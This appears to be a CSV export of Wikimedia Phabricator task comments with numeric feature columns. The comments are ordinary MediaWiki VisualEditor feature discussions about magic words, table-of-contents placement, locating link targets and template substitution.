238465,VisualEditor: Provide a way for users to insert variable magic words,Feel like taking this on? It'd be a step towards fixing bug 50855 in general… Big fun challenge. :-),,,1402608512,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,0.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,0.0,3.5652173913043477,1.0,Feel like taking this on? It'd be a step towards fixing bug 50855 in general… Big fun challenge. :-)
51994,VisualEditor: Table of Contents should be a draggableNode and insert __TOC__ as needed,"It should be possible for users to modify the location of the TOC (see bug 49224 for getting it shown and updated as they edit), and the system should insert a __TOC__ identifier (that should be silently dropped by Parsoid when not needed?).

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1371859800,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zgftkji5nk4n25cdqxjy,task_description,open,True,c1,2,True,False,,-2,,0.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,1.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,8.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,4.0,8.0,3.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8333333333333335,0.6944444444444444,"It should be possible for users to modify the location of the TOC (see bug 49224 for getting it shown and updated as they edit), and the system should insert a __TOC__ identifier (that should be silently dropped by Parsoid when not needed?).

--------------------------
**Version**: unspecified
**Severity**: enhancement"
51928,"VisualEditor: No way to identify destination, rather than link text, of links","Because the VE splits up the destination of a link and the text displayed for it (quite rightly) it's impossible, in VE mode, to identify where links point to without source editing. This is kind of a problem for disambiguation issues, for example. Is there any way that this could somehow be hunt-down-able?

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1371790440,1402550246.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-e3ncbibtfnsjabzzzce6,task_description,resolved,True,c1,2,False,False,False,-2,,1.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,6.0,4.0,8.0,2.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,14.0,2.0,1.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,3.9642857142857144,0.7380952380952381,"Because the VE splits up the destination of a link and the text displayed for it (quite rightly) it's impossible, in VE mode, to identify where links point to without source editing. This is kind of a problem for disambiguation issues, for example. Is there any way that this could somehow be hunt-down-able?

--------------------------
**Version**: unspecified
**Severity**: enhancement"
233975,"VisualEditor: No way to identify destination, rather than link text, of links","It's nice, but doesn't really address the workflow in comment 3.

(In reply to James Forrester from comment #3)
> However, this doesn't work well if you know there's one link to [[foo|xxx]]
> somewhere on the page and you want to change it to [[bar|xxx]], I agree.",,,1402566355,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,False,,,49,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,3.0,13.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4193548387096775,0.8709677419354839,"It's nice, but doesn't really address the workflow in comment 3.

(In reply to James Forrester from comment #3)
QUOTE
QUOTE"
233973,"VisualEditor: No way to identify destination, rather than link text, of links",This is now done with the new context widget system.,,,1402550246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.909090909090909,1.0,This is now done with the new context widget system.
233971,"VisualEditor: No way to identify destination, rather than link text, of links","No, hovering over each link is not the answer: if I'm looking at a large article and want to find and amend the link which is pointing to some particular other page (perhaps in connection with cleaning up dab pages etc), I want to be able to use something like ctrl-F ""Find"" as I can at present: once the article is open in Edit Source, the hidden text is searchable.

As an example, look at [[User:PamD/sandbox for VE]] and find the link to [[Dunmallet]]. Now imagine if that page was the length of [[London]] and you needed to find a similar piped link.

Might also be an issue if people want to find (and check parameters of, or amend, etc) one particular template which is used on a page, but doesn't ""show up"" in the visible article. And probably various other scenarios. ~~~~",,,1373190367,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,False,,,0,,1.0,0.5,0.0,0.5,1.0,6.5,3.0,0.0,0.0,1.5,3.5,1.0,0.5,0.0,0.0,1.5,0.0,3.0,15.0,0.5,2.5,0.0,0.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,5.0,4.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.5,0.0,1.5,0.0,0.0,0.0,15.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.5,0.0,0.0,0.0,1.0,0.0,6.0,4.0,9.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,6.5,0.5,0.5,0.0,2.0,15.0,2.0,0.0,2.0,0.0,2.0,0.0,1.0,2.5,0.0,2.0,0.0,0.0,5.5,3.427648135438115,0.7218599862731641,"No, hovering over each link is not the answer: if I'm looking at a large article and want to find and amend the link which is pointing to some particular other page (perhaps in connection with cleaning up dab pages etc), I want to be able to use something like ctrl-F ""Find"" as I can at present: once the article is open in Edit Source, the hidden text is searchable.

As an example, look at [[User:PamD/sandbox for VE]] and find the link to [[Dunmallet]]. Now imagine if that page was the length of [[London]] and you needed to find a similar piped link.

Might also be an issue if people want to find (and check parameters of, or amend, etc) one particular template which is used on a page, but doesn't ""show up"" in the visible article. And probably various other scenarios. ~~~~"
233969,"VisualEditor: No way to identify destination, rather than link text, of links","(In reply to comment #0)
> Because the VE splits up the destination of a link and the text displayed for
> it (quite rightly) it's impossible, in VE mode, to identify where links point
> to without source editing. This is kind of a problem for disambiguation
> issues, for example. Is there any way that this could somehow be
> hunt-down-able?

Hover over the link; that's the target, not the anchor, that comes up in the pop-up tooltip. 

However, this doesn't work well if you know there's one link to [[foo|xxx]] somewhere on the page and you want to change it to [[bar|xxx]], I agree.",,,1372015806,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,1.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,11.0,1.0,1.0,8.0,0.0,0.0,0.0,1.0,5.0,0.0,2.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.6309523809523809,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Hover over the link; that's the target, not the anchor, that comes up in the pop-up tooltip. 

However, this doesn't work well if you know there's one link to [[foo|xxx]] somewhere on the page and you want to change it to [[bar|xxx]], I agree."
233966,"VisualEditor: No way to identify destination, rather than link text, of links","The workflow of ""this article has DAB issues, it's pointing to [disambiguation page], I should point it to [proper page], now to find the link that's pointing to the disambig- shit.""",,,1371791889,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,7.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,7.0,12.0,2.0,0.0,5.0,0.0,7.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,5.0,3.5348837209302326,0.6976744186046512,"The workflow of ""this article has DAB issues, it's pointing to [disambiguation page], I should point it to [proper page], now to find the link that's pointing to the disambig- shit."""
233963,"VisualEditor: No way to identify destination, rather than link text, of links","You can just click the floating ""chain"" icon to see the name of the destination article. 

What does this bug relate to in particular? Was there some use case where this isn't working/isn't possible?",,,1371791727,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,7.0,5.0,7.0,2.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,9.0,0.0,5.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.86046511627907,0.8604651162790697,"You can just click the floating ""chain"" icon to see the name of the destination article. 

What does this bug relate to in particular? Was there some use case where this isn't working/isn't possible?"
51904,"Support ""substituting"" templates in transclusion dialog","User:JohnCD at English Wikipedia writes the following:
""If you enter, for instance, ""Welcome"" in the new template box, on clicking ""Apply changes"" you see the result; but if you enter ""subst:welcome"" you see only {{subst:welcome}}, though after clicking ""Save page"" the result is correct. Should there be a check-box for ""subst"" in the New template dialogue, (a) to save typing it out, (b) to arrange the correct display?""

James F. suggested this would be good to enter as an enhancement request, since template substitution should be supported.

Maggie

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=66281",Low,25.0,1371756600,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_description,open,True,c1,2,False,False,,-2,,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.0,0.5,1.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,9.0,0.0,2.0,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,3.0,2.0,0.5,1.0,2.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,15.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,2.5,10.0,2.0,0.5,5.0,0.0,0.0,0.0,0.0,4.5,0.5,0.0,0.0,2.5,9.0,3.5,0.5,6.5,0.0,2.5,0.0,0.0,1.0,0.0,1.5,0.0,0.0,1.5,3.548022151898734,0.6227056962025317,"User:JohnCD at English Wikipedia writes the following:
""If you enter, for instance, ""Welcome"" in the new template box, on clicking ""Apply changes"" you see the result; but if you enter ""subst:welcome"" you see only {{subst:welcome}}, though after clicking ""Save page"" the result is correct. Should there be a check-box for ""subst"" in the New template dialogue, (a) to save typing it out, (b) to arrange the correct display?""

James F. suggested this would be good to enter as an enhancement request, since template substitution should be supported.

Maggie

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
2019516,"Support ""substituting"" templates in transclusion dialog","@matmarex , the [[ https://en.wikipedia.org/wiki/Module:Unsubst | unsubst module ]] can be used in most cases to prevent inexperienced editors from accidentally using substitution erroneously. Beyond that, a better version of TemplateData would allow for instruction about substitution for each template.

For now, I think allowing substitution in VE is still a worthwhile goal, even if it has to remain a somewhat advanced/hidden feature to avoid improper use.",,,1668563742,,PHID-USER-tl3o6dlackm57f3qrt4b,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,489,,1.0,0.0,0.0,1.0,0.0,9.0,1.0,0.0,0.0,1.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,8.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,9.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,17.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,3.0,1.0,1.0,3.0,4.576923076923077,0.8076923076923077,"SCREEN_NAME , the [[ URL | unsubst module ]] can be used in most cases to prevent inexperienced editors from accidentally using substitution erroneously. Beyond that, a better version of TemplateData would allow for instruction about substitution for each template.

For now, I think allowing substitution in VE is still a worthwhile goal, even if it has to remain a somewhat advanced/hidden feature to avoid improper use."
2016893,"Support ""substituting"" templates in transclusion dialog","Change 855565 **merged** by jenkins-bot:
%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
https://gerrit.wikimedia.org/r/855565",,,1668101234,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,488,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,10.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.033333333333333,0.7666666666666667,"Change 855565 **merged** by jenkins-bot:
%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
GERRIT_URL"
2016768,"Support ""substituting"" templates in transclusion dialog","For context about this patch: @daniel discovered that feature in Parsoid while doing some refactoring, and we discovered that we were not using it. All it does is to add `subst:` to template invocations, before calling existing APIs for pre-save transform and for parsing. That doesn't seem useful even if we wanted to add substing templates to VE (we could easily add this prefix and call the APIs ourselves).

We're not planning to work on this task apart from this at the moment. The main obstacle is designing the interface so that people wouldn't damage articles by using it without understanding what it does.",,,1668093586,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,488,,1.0,0.0,0.0,0.0,2.5,3.0,0.5,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,4.0,1.5,5.0,14.5,0.0,2.5,0.0,1.5,0.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,2.0,2.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,10.5,0.5,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,2.0,3.5,0.0,0.0,0.0,0.0,1.0,3.5,2.0,7.0,3.5,2.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.5,14.5,2.0,0.0,0.0,0.0,6.5,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,4.275,0.825,"For context about this patch:SCREEN_NAME discovered that feature in Parsoid while doing some refactoring, and we discovered that we were not using it. All it does is to add CODE to template invocations, before calling existing APIs for pre-save transform and for parsing. That doesn't seem useful even if we wanted to add substing templates to VE (we could easily add this prefix and call the APIs ourselves).

We're not planning to work on this task apart from this at the moment. The main obstacle is designing the interface so that people wouldn't damage articles by using it without understanding what it does."
2016604,"Support ""substituting"" templates in transclusion dialog","Change 855565 had a related patch set uploaded (by Daniel Kinzler; author: Daniel Kinzler):
%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
https://gerrit.wikimedia.org/r/855565",,,1668086122,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,488,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,8.0,3.0,0.0,0.0,8.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,4.527777777777778,0.8333333333333334,"Change 855565 had a related patch set uploaded (by Daniel Kinzler; author: Daniel Kinzler):
%%%[mediawiki/core@master] ParsoidHandler: remove subst feature from wt2html%%%
GERRIT_URL"
1735643,"Support ""substituting"" templates in transclusion dialog","Yes, that's the goal.  There is no timeline for when the work might be done.",,,1623088652,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,414,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,5.0,0.0,20.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,"Yes, that's the goal.  There is no timeline for when the work might be done."
1734592,"Support ""substituting"" templates in transclusion dialog","Am I right in understanding that this ticket seeks to make it possible to use subst when adding a template to a page in VisualEditor, or is that another task?",,,1622827126,,PHID-USER-tl3o6dlackm57f3qrt4b,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,413,,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,16.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,9.0,9.0,3.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,22.0,3.0,3.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,4.03125,0.84375,"Am I right in understanding that this ticket seeks to make it possible to use subst when adding a template to a page in VisualEditor, or is that another task?"
1508507,"Support ""substituting"" templates in transclusion dialog","Parsoid's API supports substing. But, VE folks need to figure out what they exactly need to support user feature requests. I'm going to untag Parsoid here. @Esanders @matmarex @JTannerWMF: please take a look and retag Parsoid with an updated description if you need anything from us.",,,1590034383,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,359,,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,13.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,8.0,13.0,8.0,0.0,0.0,0.0,8.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,4.653846153846154,0.8269230769230769,"Parsoid's API supports substing. But, VE folks need to figure out what they exactly need to support user feature requests. I'm going to untag Parsoid here.SCREEN_NAMESCREEN_NAMESCREEN_NAME: please take a look and retag Parsoid with an updated description if you need anything from us."
1215867,"Support ""substituting"" templates in transclusion dialog","Another request for this, this time from @Hoefsldyla :  https://www.mediawiki.org/wiki/Topic:Uq6vtaf8wk0z30zh
",,,1548380239,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,290,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,0.9166666666666666,"Another request for this, this time fromSCREEN_NAME :  URL
"
624435,"Support ""substituting"" templates in transclusion dialog","[[ https://fr.wikipedia.org/w/index.php?title=Wikip%C3%A9dia:%C3%89diteurVisuel/Avis&diff=0&oldid=123998059#Subst_dans_le_mod.C3.A8le_ouvrage | New feedback ]] concerning that task (here, need to subst: a date on a template included with VE).",,,1457356882,,PHID-USER-uciss2jl2e4ifxqqk7wk,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,140,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,7.0,3.107142857142857,0.8928571428571429,"[[ URL | New feedback ]] concerning that task (here, need to subst: a date on a template included with VE)."
483293,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406296, @Krenair wrote:
> I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)

If you look at this task's description, it asks for being able to do a subst when inserting a template from the template dialog box. Also, according to the description, susbt already works when saving.",,,1435560829,,PHID-USER-56wtmb23orq4pu5liyj5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,104,,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,9.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,4.0,0.7777777777777778,"QUOTE
QUOTE

If you look at this task's description, it asks for being able to do a subst when inserting a template from the template dialog box. Also, according to the description, susbt already works when saving."
482797,"Support ""substituting"" templates in transclusion dialog","If I have misunderstood this feature and how it would work inside VE, then we should talk more on IRC sometime to get clarity about how this would / should work and update it here, and we can make appropriate updates to the API.",,,1435360448,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,13.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,11.0,13.0,6.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9361702127659575,0.7659574468085106,"If I have misunderstood this feature and how it would work inside VE, then we should talk more on IRC sometime to get clarity about how this would / should work and update it here, and we can make appropriate 